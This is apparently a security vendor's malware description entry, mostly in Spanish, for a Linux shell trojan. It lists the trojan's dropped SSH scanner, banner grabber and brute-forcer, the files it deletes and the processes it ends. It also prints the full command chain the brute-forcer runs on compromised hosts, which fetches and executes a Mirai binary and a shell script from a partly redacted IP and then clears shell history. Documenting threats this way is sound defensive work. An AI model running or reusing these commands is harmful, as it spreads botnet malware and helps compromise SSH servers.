Trojan.SH.ETIN.B

Puede haberlo descargado otro malware/grayware/spyware desde sitios remotos.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

Detalles de entrada

Puede haberlo descargado el siguiente malware/grayware/spyware desde sitios remotos:

• Trojan.SH.ETIN.A

Instalación

Infiltra los archivos siguientes:

• /{Malware Path}/motd
• /{Malware Path}/shitscanner → Detected as HackingTools_Shark
  
  • A scanner that will search for hosts in the internet with an open Port 22.
  • The results will be stored in bios.txt
  • It accepts the following parameters:
  • Port Number
  • -a or -b (class)
  • -a (A network) must be between 1 and 254
  • -b (B network) example: 192.168
  • -i (interface)
  • -s (speed)
• /{Malware Path}/boner → Detected as HackTool.Linux.BANGRAB.A
  
  • Grabs the banner of the IP addresses indicated in the "infile" paramater
  • The results will be stored in banner.log
  • The contents of banner.log will then be filtered by listing IP addresses of machines with OpenSSH running on Port 22.
  • The filtered list will be stored on mfu.txt
  • It accepts the following parameters:
  • infile - a text file that contains IP addresses
  • port
  • threads - concurrent IPs being scanned
• /{Malware Path}/brute → Detected as HackTool.Linux.SSHBRUTE.GA
  
  • a Haiduc scanner
  • It will use the following as arguments to connect, download and execute files to gain control over its target:
  • http://{BLOCKED}.{BLOCKED}.17.186/kit.sh → Detected as Trojan.SH.ETIN.A
  • http://{BLOCKED}.{BLOCKED}.17.186/AB4g5/kiga.x86 → Detected as IoT.Linux.MIRAI.VWISH
  • Successfully compromised machines will be saved in gasite.txt

Otras modificaciones del sistema

Elimina los archivos siguientes:

• /{Malware Path}/bios.txt
• /{Malware Path}/mfu.txt
• /{Malware Path}/banner.log

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

• shitscanner
• boner

Otros detalles

Hace lo siguiente:

• It executes the dropped files with the following paramaters:
  
  • timeout $timeout ./{Malware Path}/shitscanner $port -i $interface -s $speed
  • where:
  • $timeout - 130
  • $port - 22
  • $interface - eth0
  • $speed - 10
  • ./{Malware Path}/boner bios.txt 22 3500
  • ./{Malware Path}/brute 9999 -f mfu.txt pass_file 22 "wget http://{BLOCKED}.{BLOCKED}.17.186/AB4g5/kiga.x86 ;chmod 777 *; ./kiga.x86 ROOTS; rm -rf kiga*;wget http://{BLOCKED}.{BLOCKED}.17.186/kit.sh ;sh kit.sh; history -c"
  • where:
  • pass_file - list of credentials stored